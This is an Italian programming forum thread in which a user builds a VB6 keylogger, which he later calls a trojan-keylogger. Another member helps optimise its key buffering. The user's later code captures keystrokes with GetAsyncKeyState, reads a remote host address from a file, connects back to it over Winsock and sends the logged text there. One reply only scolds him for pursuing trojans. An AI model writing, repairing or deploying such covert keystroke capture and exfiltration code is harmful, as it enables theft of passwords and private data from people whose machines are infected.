feddur (Normal User)
Pro
Messaggi: 200
Iscritto: 06/03/2008
|
Salve, sto realizzando con VB6 un keylogger a scopo informativo in WINDOWS XP.
vorrei un keylogger molto veloce e poco pesante.
io per il momento sto utilizzando questo:
Codice sorgente - presumibilmente VB.NET |
Private Sub Timer2_Timer() Dim result, i As Integer For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then txtOut.Text = txtOut.Text & Chr(i) End If Next i End Sub
|
il timer è a 10 millisecondi.
la parte che vorrei eliminare è questa:
Codice sorgente - presumibilmente Plain Text |
txtOut.Text = txtOut.Text & Chr(i)
|
perchè secondo me è troppo pesante.
la mia possibile soluzione prevede di mettere
i caratteri un un vettore di char e quando il vettore (di circa 100 elementi) si riempe viene copiato nella txtOut.text
non ci sono riuscito; chi mi darebbe una mano? |
|
feddur (Normal User)
Pro
Messaggi: 200
Iscritto: 06/03/2008
|
Codice sorgente - presumibilmente VB.NET |
Private Sub Timer2_Timer() Dim vettore(1 To 10) As Integer Dim result, i, j, h As Integer For i = 1 To 255 For j = 1 To 10 vettore(j) = 0 vettore(j) = GetAsyncKeyState(i) If vettore(j) = -32767 Then vettore(j) = i If j = 9 Then txtOut.Text = txtOut.Text & Chr(i) End If End If Next j Next i End Sub
|
anche questo non mi va...
|
|
feddur (Normal User)
Pro
Messaggi: 200
Iscritto: 06/03/2008
|
Codice sorgente - presumibilmente VB.NET |
Private Sub Timer2_Timer() Dim result, i As Integer Dim str As String For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then str = Chr(i) txtOut.Text = Len(str) If Len(str) = 10 Then txtOut.Text = str End If End If Next i End Sub
|
anche questo non va, spero che con questi esempi abbiate capito meglio le mie idee.
|
|
Shutdown (Founder Member)
Guru
Messaggi: 1212
Iscritto: 10/09/2005
|
Feddur ti avevo gentilmente pregato di collaborare.
Ti ho spiegato che se nel thread, l'ultimo messaggio è il tuo e vuoi aggiungere qualcosa, devi modificare l'ultimo messaggio... Non devi creare un nuovo post.
L'avviso te l'avevo già lanciato.
Questo è il secondo avvertimento.
Se succede ancora blocco la discussione e informo gli amministratori della situazione, i quali sapranno che provvedimenti prendere.
Ti ringrazio per aver prestato attenzione.
Ultima modifica effettuata da Shutdown il 16/04/2008 alle 0:53 |
|
feddur (Normal User)
Pro
Messaggi: 200
Iscritto: 06/03/2008
|
scusate ma non avevo capito, sarò più attento.
|
|
Shutdown (Founder Member)
Guru
Messaggi: 1212
Iscritto: 10/09/2005
|
Prego, non scusarti...
Grazie 1000.
|
|
P4p3r0g4 (Member)
Guru
Messaggi: 1319
Iscritto: 29/12/2006
|
ok preso per buono
Codice sorgente - presumibilmente VB.NET |
Private Sub Timer2_Timer() Dim result, i As Integer For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then txtOut.Text = txtOut.Text & Chr(i) End If Next i End Sub
|
lo modifico cosi`
Codice sorgente - presumibilmente VB.NET |
option explicit dim k as integer dim vett(0 to 99) as integer Private Sub Timer2_Timer() Dim result, i As Integer For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then vett(k) = i k = k + 1 End If Next i if k = 99 then for i = 0 to 99 txtOut.text= txtOut.text & chr(vett(i)) next i k = 0 end if End Sub
|
il codice dovrebbe suonare cosi` probabilmente ci sono degli errorini perche` l'ho scritto al volo e non l'ho provato (non ho il vb installato) ma dovresti riuscire a correggerli. Ultima modifica effettuata da P4p3r0g4 il 16/04/2008 alle 13:53 |
|
feddur (Normal User)
Pro
Messaggi: 200
Iscritto: 06/03/2008
|
salve, continuo ad avere problemi, forse è il caso che vi spieghi meglio il mio problema e il mio programma.
quello che ho creato è un trojan-keylogger (ricordo che l'ho creato per solo scopo informativo.. come un passatempo!)però ho notato qualche problema che vorrei risolvere...
Vi posto qualche pezzo di codice per renedere meglio l'idea:
Codice sorgente - presumibilmente VB.NET |
Private Sub Form_Load() Timer2.Interval = 1 'pausa keylogger sia se connesso che se disconnesso Timer3.Interval = 9000 'se non connesso, dopo quanto fa le prove di connessione Private Sub Timer2_Timer() If wskClient.State <> sckConnected Then 'se non connesso mette i caratteri premuti nella txt e attende For j = 47 To 125 result = 0 result = GetAsyncKeyState(j) If result = -32767 Then txtOut.Text = txtOut.Text & Chr(j) End If Next j Else 'se è connesso invia dopo tempo del timer For k = 47 To 125 result1 = 0 result1 = GetAsyncKeyState(k) If result1 = -32767 Then txtOut.Text = txtOut.Text & Chr(k) End If Next k End If Private Sub Timer3_Timer() If wskClient.State <> sckConnected Then 'se non connesso ritenta la connessione Dim BUFFER As String 'apre il file per leggere l'IP Dim NRFILE As Integer txtHostName = "" NRFILE = FreeFile Open App.Path & "\" & FileDaAprire1 For Binary As NRFILE While Not EOF(NRFILE) BUFFER = Space(2048) Get NRFILE, , BUFFER txtHostName = BUFFER Wend Close NRFILE i = i + 1 txtOut.SelStart = Len(txtOut.Text) wskClient.Close wskClient.LocalPort = 0 wskClient.Connect txtHostName.Text, 2000 lblconnessioni.Caption = i Else wskClient.SendData txtOut.Text 'invia il txt txtOut.Text = "" 'una volta mandato il txt lo azzera End If End Sub End Sub
|
Ora vi spiego il problema:
il keylogger, soprattutto quando il client è connesso non riesce a memorizzare tutti i tasti.
se vi sembra strano che abbia detto "client" è perchè ho creato una specie di reverse connection..
sapete il perchè di tale problema?
come risolverlo?
avete bisogno di altre informazioni?
grazie.
Ultima modifica effettuata da feddur il 17/04/2008 alle 0:45 |
|
gantonio (Normal User)
Guru^2
Messaggi: 1532
Iscritto: 09/09/2007
|
Perche' non studi le cose serie (protocolli di rete, API di Windows, programmazione ad oggetti ...) invece di perdere tempo sempre dietro a (inutili) trojan-keylogger che non si sa neanche scrivere perche' non si hanno le minime cognizioni di base?
|
|